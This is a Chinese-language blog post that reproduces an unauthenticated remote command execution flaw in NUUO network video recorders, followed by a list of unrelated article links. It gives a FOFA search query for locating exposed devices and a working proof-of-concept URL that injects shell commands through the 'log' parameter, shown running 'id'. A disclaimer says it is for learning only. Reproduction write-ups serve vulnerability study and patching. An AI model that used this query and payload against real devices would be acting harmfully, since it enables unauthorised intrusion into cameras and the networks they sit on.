当前位置： 首页 > news >正文

NUUO网络摄像头(NVR)RCE漏洞复现

news 来源：原创 2024/5/10 6:46:00

简介

NUUO Network Video Recorder（NVR）是中国台湾NUUO公司的一款网络视频记录器。

NUUO NVR视频存储管理设备的__debugging_center_utils___.php文件存在未授权远程命令执行漏洞，攻击者可在没有任何权限的情况下通过log参数执行任意命令。


漏洞复现

FOFA语法：

title="Network Video Recorder Login"

访问页面如下，不同版本会有区别

POC： /__debugging_center_utils___.php?log=;id

GET请求：http://ip:port/__debugging_center_utils___.php?log=;id

返回内容如下：

成功执行linux id命令

poc: /__debugging_center_utils___.php?log=;id;help

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

结语

没有人规定，一朵花一定要成长为向日葵或者玫瑰。

相关文章：

  • CentOS 7 通过 yum 安装 MariaDB（Mysql）
  • 【入门Flink】- 03Flink部署
  • nodelist 与 HTMLCollection 的区别
  • 2024 Android Framework学习大纲之基础理论篇
  • Nginx服务器安装证书并启用SSL(acme.sh)
  • MySQL 表的增删查改(CRUD)
  • 基于级联延迟信号消除的锁相环（CDSC_PLL）技术MATLAB仿真
  • mediasoup udp端口分配策略
  • [笔记] 汉字判断
  • 学电脑编程零基础，计算机编程入门先学什么
  • Android startActivity流程
  • ruby语言怎么写个通用爬虫程序？
  • gcc -static 在centos stream8 和centos stream9中运行报错的解决办法
  • Linux中的进程等待
  • Spring-Spring 之底层架构核心概念解析
  • 《深入 React 技术栈》
  • ES6, React, Redux, Webpack写的一个爬 GitHub 的网页
  • git 常用命令
  • Java 11 发布计划来了，已确定 3个 新特性！！
  • Java方法详解
  • js正则，这点儿就够用了
  • Laravel深入学习6 - 应用体系结构：解耦事件处理器
  • Linux下的乱码问题
  • MySQL数据库运维之数据恢复
  • Python 基础起步 (十) 什么叫函数？
  • Python学习之路16-使用API
  • Swoft 源码剖析 - 代码自动更新机制
  • webpack入门学习手记（二）
  • 包装类对象
  • 从0实现一个tiny react（三）生命周期
  • 技术攻略】php设计模式(一)：简介及创建型模式
  • 手机app有了短信验证码还有没必要有图片验证码？
  • 微服务核心架构梳理
  • 优化 Vue 项目编译文件大小
  • 正则表达式小结
  • hi-nginx-1.3.4编译安装
  • Play Store发现SimBad恶意软件，1.5亿Android用户成受害者 ...
  • ​ 轻量应用服务器：亚马逊云科技打造全球领先的云计算解决方案
  • ​【已解决】npm install​卡主不动的情况
  • #LLM入门|Prompt#1.7_文本拓展_Expanding
  • #NOIP 2014#day.2 T1 无限网络发射器选址
  • #Spring-boot高级
  • （1）(1.8) MSP(MultiWii 串行协议)(4.1 版)
  • （23）Linux的软硬连接
  • （4）通过调用hadoop的java api实现本地文件上传到hadoop文件系统上
  • (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  • （k8s中）docker netty OOM问题记录
  • (NO.00004)iOS实现打砖块游戏(十二):伸缩自如,我是如意金箍棒(上)!
  • （大众金融）SQL server面试题（1）-总销售量最少的3个型号的车及其总销售量
  • （独孤九剑）--文件系统
  • （附源码）ssm考试题库管理系统 毕业设计 069043
  • （九）信息融合方式简介
  • （三）终结任务
  • (未解决)jmeter报错之“请在微信客户端打开链接”
  • （一）pytest自动化测试框架之生成测试报告（mac系统）